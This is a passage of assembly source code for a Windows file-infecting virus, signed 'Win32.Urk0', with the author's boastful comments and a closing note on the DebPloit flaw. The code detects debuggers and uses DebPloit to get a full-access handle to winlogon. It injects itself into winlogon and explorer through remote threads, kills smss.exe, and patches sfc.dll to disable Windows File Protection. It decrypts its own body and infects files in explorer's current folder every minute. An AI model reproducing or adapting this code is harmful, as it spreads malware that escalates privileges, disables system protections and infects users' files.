;eax -> CreateToolhelp32Snapshot
mov ebx,[esp + 8]
;ebx = handle to process
push ebx
push TH32CS_SNAPMODULE
call eax
;eax = snapshot
;we have create the snapshot and now we will search the module that we need.
sub esp,548
;we will reserve space for MODULEENTRY32
mov dword ptr[esp],548 ;sizeof MODULEENTRY32
mov ecx,eax
;ecx = snapshot
mov [esp + 548 + PROCESSINFORMATIONSIZE + SNAPSHOT],ecx;we save it
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE]
;eax = base of kernel
push eax
GezApi eax,Module32FirstCRC,M32FNameLen
mov edx,esp
add edx,4
push edx
push ecx
call eax
pop eax
GezApi eax,Module32NextCRC,M32NNameLen
;eax -> Module32Next
mov [esp + 548 + PROCESSINFORMATIONSIZE],eax ;we save it
NextModule:
;esp + 32 + 256 -> name of module with path(becoz GetModuleFileName gives entire path)
mov esi,esp
add esi,32 + 256
CalcLenString
mov edi,ecx
call CRC32
;eax = CRC of name of module we have got
push eax
mov edi,[esp + 548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4]
mov esi,esp
add esi,548 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE + 4 + 4
call CRC32
;eax = CRC of our module
pop edx
cmp edx,eax
je FoundModule
push esp
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
push ecx
mov eax,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + 4]
;eax -> Module32Next
call eax
jmp NextModule
FoundModule:
;yeah!!!! ;)
mov eax,[esp + 548 + 4 + 200 + STARTUPINFOSIZE + PROCESSINFORMATIONSIZE];base kernel
GezApi eax,CloseHandleCRC,CHNameLen
mov ecx,[esp + 548 + PROCESSINFORMATIONSIZE + 4 + SNAPSHOT];we recover snapshot
push ecx
call eax
;snapshot closed
;now we recover information for returning parameters and ret ;)
mov ecx,[esp + 20]
mov edx,[esp + 24]
mov eax,[esp + 548]
mov esi,[esp + 548 + 4]
mov ebx,[esp + 548 + 8]
mov edi,[esp + 548 + 12]
add esp,548 + 16 + 68 + 4 + 200 + 4
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;GetExplorer
;In:
; eax = base of kernel
; esi -> buffer for storing name
;Out:
; esi ->buffer
; ecx = bytes of name
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetExplorer:
push esi
GezApi eax,GetWindowsDirectoryACRC,GWDNameLen
;eax -> GetWindowsDir
pop esi
push esi
push 200
push esi
call eax
pop esi
CalcLenString
mov edi,esi
add edi,ecx
mov byte ptr [edi],'\'
inc edi
mov dword ptr [edi],'LPXE'
add edi,4
mov dword ptr [edi],'RERO'
add edi,4
mov dword ptr [edi],'EXE.'
add edi,4
mov dword ptr [edi],0
CalcLenString
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;DetectSICE try to detect softice,and in the case softice was detected,then stop execution.
;in:
; eax = kernel base
;out:
; none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DetectSICE:
pushad
push eax
;check sice in 9x
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000001h
push 0c0000000h
lea esi,[ebp + SICE9X]
push esi
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
jz NoSICE9X
call $
NoSICE9X:
mov eax,[esp]
push 00000000h
push 00000080h
push 00000003h
push 00000000h
push 00000001h
push 0C0000000h
lea esi,[ebp + SICENT]
push esi
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
jz NoSICENT
call $
NoSICENT:
pop eax
popad
ret
SICE9X db "\\.\SICE",0
SICENT db "\\.\NTICE",0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
;NT ZONE !<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!<21>!
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Well...now we are in NT.We will fight agresively against NT for
;getting full privileges ;/ Virus its very different if we are
;in NT.Here we dont load and dont inject code to explorer.exe.
;Here we will try to get full privileges with some methods
;and later we will infect files.
;NT part works in this manner: i try to get anough privileges to open winlogon and
;inject code there(with i WannaCanDebug).If i dont get anough,i use a second method.
;I use a flaw in NT.I havent discovered that flaw.I speaking about Debploit method.
;You can search about this in www.securiteam.com in NT focus.With this,i connect to
;dbgss and i say it that it gives me a duplicate handle to winlogon,however,it will
;give me it with full privileges :D ... There is a problem with this...If i say
;dbgss i am the debugger of winlogon,and winlogon is my debugee process(i attach
;it) when my process terminated,winlogon will finish too and system will reboot.
;For this reason,when i infect winlogon,since winlogon injected code,i kill smss
;(where is implemented dbgss) and smss will not kill winlogon.In this manner,only first
;infected file executed will inject code in winlogon becoz when second infected program
;was executed,it will not find dbgss.
;In winlogon,virus disable sfp with Ratter and Benny method(29a number 6).Later,it
;gets a handle to explorer and inject code there,and create a remote thread in
;explorer:There,ExplorerCode is executed.This code will infect current folder of
;explorer.exe each 60 seconds.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;NTInvasion try to KILL NT ;O
;in:
; eax = kernel base
;out:
; none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
NTInvasion:
mov ecx,cs
xor cl,cl
jecxz ContinueNT
ret
ContinueNT:
mov [ebp + NtKernel],eax
callz GetLibrarys
callz DebuggerTrickz
callz FreeLibrarys
ret
NtKernel dd 0
NtAdvapi dd 0
NtPsapi dd 0
NtRasapi dd 0
Ntdll dd 0
;;;;;;;;;;;;;;;;;;;;
GetLibrarys:
pushad
;first,ill try to get ntdll base from PEB structure
mov eax,dword ptr fs:[30h] ;PEB pointer
mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA
mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY
mov eax,dword ptr [eax + 8h] ;ntdll.dll base
mov [ebp + Ntdll],eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
push eax
lea ebx,[ebp + advapi]
push ebx
call eax
mov [ebp + NtAdvapi],eax
lea ebx,[ebp + psapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtPsapi],eax
lea ebx,[ebp + rasapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtRasapi],eax
pop eax
popad
ret
advapi db 'advapi32.dll',0
psapi db 'psapi.dll',0
rasapi db 'rasapi32.dll',0
;;;;;;;;;;;;;;;;;;;;
FreeLibrarys:
pushad
mov eax,[ebp + NtKernel]
GezApi eax,FreeLibraryCRC,FLNameLen
push eax
push dword ptr [ebp + NtAdvapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtPsapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtRasapi]
call dword ptr [esp + 4]
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DebuggerTrickz try to gain privileges.
;in:
; none
;
;out:
; eax = 1 no error eax = 0 error
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DebuggerTrickz:
pushad
or eax,eax
jz NoTrickGoOut
callz GetWinlogon
or eax,eax
jz ContinueTrick
NoTrickGoOut:
popad
ret
ContinueTrick:
;now i have a handle to winlogon.exe...however i only have this access:
;PROCESS_VM_READ and PROCESS_QUERY_INFORMATION
;now we need a handle to the process but with VM_WRITE,...privileges.
;ill try to open Winlogon with full privileges...if i dont get it
;with full privileges ill use same method as debploit exploit.
;You can read about this in www.securiteam.com NT focus...
;in august of 2002 if i remember well.
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + WinlogonID]
push 0
push 43Ah;privileges i need
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz Debploit
sub esp,80h
callz AttackWinlogon ;)
or eax,eax
jz DebuggerNoError
jmpz DebuggerError
Debploit:
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
mov ecx,20h
SaveSpaceMESSAGE:
push 00000000h
loop SaveSpaceMESSAGE ;space for DBG_SS_CP_LPC_MESSAGE
mov eax,[ebp + Ntdll]
GezApi eax,NtConnectPortCRC,NCPNameLen
push 0
push 0
push 0
push 0
push 0
lea ebx,[ebp + SECURITY_QUALITY_OF_SERVICE]
push ebx
lea ebx,[ebp + USbuf]
mov [ebp + PUSbuf],ebx
push eax
mov eax,ebx
xor edx,edx
mov ebx,2
div ebx
or edx,edx
jz NoAlign
lea ebx,[ebp + USbuf2]
mov [ebp + PUSbuf],ebx
NoAlign:
pop eax
;well...here we have a problem...read about NTSTATUS_DATATYPE_MISALIGNMENT
;(80000002h)for knowing this problem and you will discover how Microsoft
;do a easier life for you :P Why i must align a data for giving
;parameters to a api...WHYYYYY??? Why M$,the richest company in the world,
;cannot do a S.O that aligns my datas!!??? :( Why i must spend two days
;trying to solve this problem!!!! damn ;(
lea ebx,[ebp + UNICODE_STRING]
push ebx
lea ebx,[ebp + PortHandle]
push ebx
call eax;ZwConnectPort
;note i call apis from ntdll.dll with a call instead a syscall...however they can be
;called with a syscall too.
cmp eax,080000000h
jae DebuggerError
mov eax,[ebp + Ntdll]
GezApi eax,DbgUiConnectToDbgCRC,DUCTDNameLen
call eax
cmp eax,080000000h
jae DebuggerError
;for now,all right...now i must send a message to dbgss,
;a create process request,and it will give me a duplicated handle
;to the process that ill specify in the message...with a small
;different...this handle will have PROCESS_TERMINATE,
;PROCESS_CREATE_THREAD!!!,PROCESS_VM_READ,
;PROCESS_VM_OPERATION,PROCESS_VM_WRITE!!!,PROCESS_DUP_HANDLE,
;PROCESS_QUERY_INFORMATION,READ_CONTROL privileges ;D
;we have already reserved space for DBG_SS_CP_LPC_MESSAGE
;in the stack in the start of debploit zone.You can see
;DBG_SS_CP_LPC_MESSAGE struct in the end of virus code
mov word ptr [esp],38h ;DataSize
mov word ptr [esp + 2h],80h ;MessageSize
mov dword ptr [esp + 18h],2h ;CREATE_PROCESS_REQUEST
mov eax,[ebp + WinlogonID]
mov dword ptr [esp + 20h],eax ;debugee PID...that i want duplicate handle
mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentProcessIdCRC,GCPINameLen
call eax
mov dword ptr [esp + 2ch],eax ;debugger PID...me
mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentThreadIdCRC,GCTINameLen
call eax
mov dword ptr [esp + 30h],eax ;debugger TID...me too
push esp
push dword ptr [ebp + PortHandle]
mov eax,[ebp + Ntdll]
GezApi eax,ZwRequestPortCRC,ZRPNameLen
call eax
;now we dont need msg space reserved in stack so we use that space in
;stack for or DEBUG_EVENT
WaitEvent:
push 512
;esp + 4 -> DEBUG_EVENT
mov eax,esp
add eax,4
push eax
mov eax,[ebp + NtKernel]
GezApi eax,WaitForDebugEventCRC,WFDENameLen
call eax
mov eax,[esp + 4] ;dwProcessId
mov ebx,[esp + 8] ;dwThreadId
push 00010002h ;CONTINUE_DEBUG
push ebx
push eax
mov eax,[ebp + NtKernel]
GezApi eax,ContinueDebugEventCRC,CDENameLen
call eax
cmp dword ptr [esp],3 ;DugEventCode == CREATE_PROCESS_DEBUG_EVENT???
je GoodEvent
jmpz WaitEvent
GoodEvent:
;we have got the waited debug event and there
;we can find the duplicate handle to winlogon :D
mov eax,[esp + 10h] ;DEBUG_EVENT.u.CreateProcessInfo.hProcess
mov [ebp + WinlogonHand],eax ;we save the handle with full acess to winlogon
;now i have a problem.When this process terminates,winlogon will terminate too becouse
;winlogon is the debuggee process and this is the debugger.
;i think a dramatic solution...terminate smss.exe.smss initiates winlogon and win32 subsystem
;and when system hangs,it take the control and draw the blue screen of death :P.In addition
;it has implemented the dbgss.If only these are their functions,we can terminate smss and in
;this manner smms will not terminate winlogon after my process terminates...in addition we
;have broke debug subsystem ;)
;Ill do this since winlogon later i inject my code there.
;note if smss is terminated,next time virus will be executed it will not find dbgss subsystem
;and by this reason it will not infect winlogon again.
callz AttackWinlogon
or eax,eax
jnz DebuggerError
DebuggerNoError:
add esp,80h
popad
xor eax,eax
inc eax
ret
DebuggerError:
add esp,80h
popad
xor eax,eax
ret
PortHandle dd 0
UNICODE_STRING:
USlen dw 26
USmaxlen dw 28
PUSbuf dd 0
db 0
;i have two strings becoz if USbuf is not alignmented then USbuf2 is it.
USbuf dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0
db 0
USbuf2 dw '\','D','b','g','S','s','A','p','i','P','o','r','t',0
SECURITY_QUALITY_OF_SERVICE:
SQOSlen dd 12
ImpersonationLevel dd 2;SecurityImpersonation
ContextTrackingMode db 1
EffectiveOnly db 1
db 34h
db 00h
;;;;;;;;;;;;;;;;;;;;;
GetWinlogon: ;in:none out: WinlogonHand with winlogon process handle
; eax = 0 if no error
pushad
mov ecx,200h
SaveSpaceSearchingWinlogon:
push 00000000h
loop SaveSpaceSearchingWinlogon
;esp -> array of id of processes
mov eax,esp
lea ebx,[ebp + Needed]
push ebx
push 4*200h
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessesCRC,EPSNameLen
call eax
dec eax
jnz GetWinlogonOutError_
;esp -> array
mov esi,esp
lodsd
SearchWinlogon:
lodsd
push esi
or eax,eax
jz GetWinlogonOutError
;vvv
mov [ebp + WinlogonID],eax
push eax
push 0
push 10h or 400h
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz NoWinlogonFound
;eax = process handle
mov [ebp + WinlogonHand],eax
lea ebx,[ebp + Needed]
push ebx
push 4
lea ebx,[ebp + WinlogonModuleHand]
push ebx
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessModulesCRC,EPMNameLen
call eax
dec eax
jnz NoWinlogonFound
push 50
lea eax,[ebp + WinlogonModuleName]
push eax
push dword ptr [ebp + WinlogonModuleHand]
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtPsapi]
GezApi eax,GetModuleBaseNameACRC,GMBNNameLen
call eax
lea esi,[ebp + WinlogonModuleName]
lodsd
or eax,20202020h
cmp eax,'lniw'
winl equ $ - 4
jne NoWinlogonFound
lodsd
or eax,20202020h
cmp eax,'nogo'
ogon equ $ - 4
jne NoWinlogonFound
;^^^
WinLogonFound:
pop esi
GetWinlogonOut:
add esp,4*200h
popad
xor eax,eax
ret
NoWinlogonFound:
pop esi
jmp SearchWinlogon
GetWinlogonOutError:
pop esi
GetWinlogonOutError_:
add esp,4*200h
popad
xor eax,eax
inc eax
ret
;;;;;;;;;;;;;;;;;;;;;
AttackWinlogon: ;in:none
;out: eax = 1 error eax = 0 no error
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push EVirus - SVirus
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen
call eax
or eax,eax
jz AttackWinlogonError
mov [ebp + WinlogonVirusBase],eax
mov ecx,[ebp + NtKernel]
mov ebx,[ebp + WinlogonHand]
lea edx,[ebp + SVirus]
mov esi,EVirus - SVirus
Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackWinlogonError
push 0
push 0
lea eax,[ebp + Needed]
push eax;pointer to a variable to be passed to the thread function
mov eax,[ebp + WinlogonVirusBase]
add eax,WinlogonCode - SVirus
push eax
push 0 ;stack size
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax
or eax,eax
jz AttackWinlogonError
AttackWinlogonNoError:
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
ret
AttackWinlogonError:
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
inc eax
ret
Needed dd 0
WinlogonModuleHand dd 0
WinlogonModuleName db 50 dup(0)
WinlogonHand dd 0
WinlogonID dd 0
WinlogonVirusBase dd 0
SmssHand dd 0
ExplorerHand dd 0
ExplorerID dd 0
ExplorerVirusBase dd 0
ExplorerModuleHand dd 0
db "Win32.Urk0 Coded By ValleZ",0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
WinlogonCode:
;When i inject code to winlogon,i create a remote thread that will start execution here
pop eax ;remove parameter passed
callz WinlogonCodeDoff
WinlogonCodeDoff:
pop ebp
sub ebp,offset WinlogonCodeDoff
callz GetLibrarys
mov dword ptr [ebp + winl],'lpxe'
mov dword ptr [ebp + ogon],'rero'
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
mov eax,[ebp + WinlogonHand]
mov [ebp + ExplorerHand],eax
mov eax,[ebp + WinlogonID]
mov [ebp + ExplorerID],eax
mov eax,[ebp + WinlogonModuleHand]
mov [ebp + ExplorerModuleHand],eax
mov dword ptr [ebp + winl],'ssms'
mov dword ptr [ebp + ogon],'exe.'
callz GetWinlogon ;i use same function to get smss.exe handle and terminate it.
mov eax,[ebp + WinlogonHand]
mov [ebp + SmssHand],eax
mov dword ptr [ebp + winl],'lniw'
mov dword ptr [ebp + ogon],'nogo'
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + WinlogonID];really smss.exe ID
push 0
push 1h;privileges that i need for terminating smss.exe
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen ;i open smss.exe
call eax
push 0
push dword ptr [ebp + SmssHand]
mov eax,[ebp + Ntdll]
GezApi eax,NtTerminateProcessCRC,NTPNameLen
call eax
;i have terminated smss.exe and now it cannot kill winlogon ;D i dont know if this method
;is a few dramatic...i know if i kill smss.exe i fuck dbgss(mmm im thinking then im
;fuckin debbugers :-m ),and when windows terminates with error smss will not show
;the typical blue screen(this is a problem???)...i dont know if i am fuckin other
;importants parts...i have not read others funcionalitys...only it loads winlogon
;and win32 subsystem(csrss.exe),however this task is already done.I think i can
;kill smss.exe.
;now,i am in w1nl0g0n with M4x Pr1v1l3g3s ;D in this point our imagination will do all
;first,i will disable sfp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SfcDisable:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lea eax,[ebp + sfc]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
call eax
or eax,eax
jz ErrorSfcDisable
mov [ebp + NtSfc],eax
mov esi,[eax + 3ch]
add esi,eax
;esi -> PE
movzx eax,word ptr [esi + 14h];size of optional
mov ecx,[eax + esi + 18h + 10h];size of section
mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll
add esi,dword ptr [ebp + NtSfc]
;esi -> code section
SearchCodeToPatch:
pushad
lea edi,[ebp + CodeToSearch]
mov ecx,11
rep cmpsb
popad
je CodeToPatchFound
inc esi
loop SearchCodeToPatch
jmpz ErrorSfcDisable
CodeToPatchFound:
;now we patch code with a call to ExitThread
push esi
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
pop esi
mov [ebp + PatchExitThreadDir],eax
push esi
;i unprotect the mem where i go to patch
;UnprotectMem
; eax -> base of kernel
; esi -> dir of memory that will be writable.
; ecx -> bytes of that memory.
; ebx -> handle of the process where is the memory.If 0 this process
mov eax,[ebp + NtKernel]
mov ebx,0
mov ecx,_PatchCode - PatchCode
callz UnprotectMem
pop esi
mov edi,esi
lea esi,[ebp + PatchCode]
mov ecx,_PatchCode - PatchCode
PatchIt:
movsb
loop PatchIt
ErrorSfcDisable:
;if we have jumped here without executing CodeToPatchFound part,sfc is not disabled
;now ill infect files
;first all,ill uncrypt since SCode to SCode part
;we encrypted Code with random key since FFFF0000h to FFFFFFFFh so
;now we must search the key using brute force
xor ecx,ecx
mov edx,dword ptr [ebp + SCode]
WLWhatKey:
xor edx,ecx
cmp edx,000000E8h
je WLKeyFound
xor edx,ecx
loop WLWhatKey
WLKeyFound:
mov edx,ecx
;edx = key
mov ecx,(ECode - SCode)/4
lea esi,[ebp + SCode]
WLUncrypt:
dec ecx
xor dword ptr [esi + 4*ecx],edx
or ecx,ecx
jnz WLUncrypt
mov eax,[ebp + NtKernel]
mov [ebp + kernel],eax ;code since SCode to ECode uses kernel variable so
;i must initializate it
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
AttackExplorer:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;now ill inject the code to explorer.exe from winlogon and there ill hook CreateFileA api ;)
;i thought to hook FindFirstFile and FindNextFile in explorer but i think its anought
;with CreateFileA
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
push dword ptr [ebp + ExplorerID]
push 0
push 43ah;privileges that i need
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz AttackExplorerError
mov [ebp + ExplorerHand],eax
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push EVirus - SVirus
push 0
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen
call eax
or eax,eax
jz AttackExplorerError
mov [ebp + ExplorerVirusBase],eax
mov ecx,[ebp + NtKernel]
mov ebx,[ebp + ExplorerHand]
lea edx,[ebp + SVirus]
mov esi,EVirus - SVirus
Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackExplorerError
push 0
push 0
lea eax,[ebp + Needed]
push eax ;pointer to a variable passed as parameter to thread function
mov eax,[ebp + ExplorerVirusBase]
add eax,ExplorerCode - SVirus
push eax
push 0;stack size
push 0
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax
AttackExplorerError:
push dword ptr [ebp + ExplorerHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ExitWinlogonThread:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push 0
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
call eax
sfc db 'sfc.dll'
NtSfc dd 0
CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h
PatchCode:
push 0
mov eax,11111111h
PatchExitThreadDir equ dword ptr $ - 4
call eax
_PatchCode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ExplorerCode:
callz NtExplorerDOffset
NtExplorerDOffset:
pop ebp
sub ebp,offset NtExplorerDOffset
CurrentFolderInfection:
mov eax,[ebp + NtKernel]
GezApi eax,SleepCRC,SNameLen
push 60000 ;1 minute
call eax ;Sleep for 1 minute
mov eax,[ebp + NtKernel]
GezApi eax,GetCurrentDirectoryACRC,SCDNameLen
lea ebx,[ebp + buffy]
push ebx
push 256
call eax
lea ebx,[ebp + buffy]
callz InfectCurrentFolder
jmpz CurrentFolderInfection
;since explorer,virus will infect current folder in intervals of 1 minute
buffy db 256 dup (?)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Pad2:
PADDING2 equ 4 - (((Pad2 - ECode) - (4*((Pad2 - ECode)/4))))
db PADDING2 dup (0)
EVirus:
end start
end
HERE YOU CAN FIND SOME EXTRA INFORMATION FOR VIRUS UNDERSTANDING
DebPloit allows Everyone to get handle to Any process or thread.
Handles have enough access to promote everyone to system/admin
(in the case Target is running under LocalSystem, Administrator account).
Works on: Any MS Windows NT 4.0, Windows 2000 (SPs before Mar-12-2002).
Former NTs weren't tested. Discovered: Mar-09-2002. Author: Radim "EliCZ" Picha.
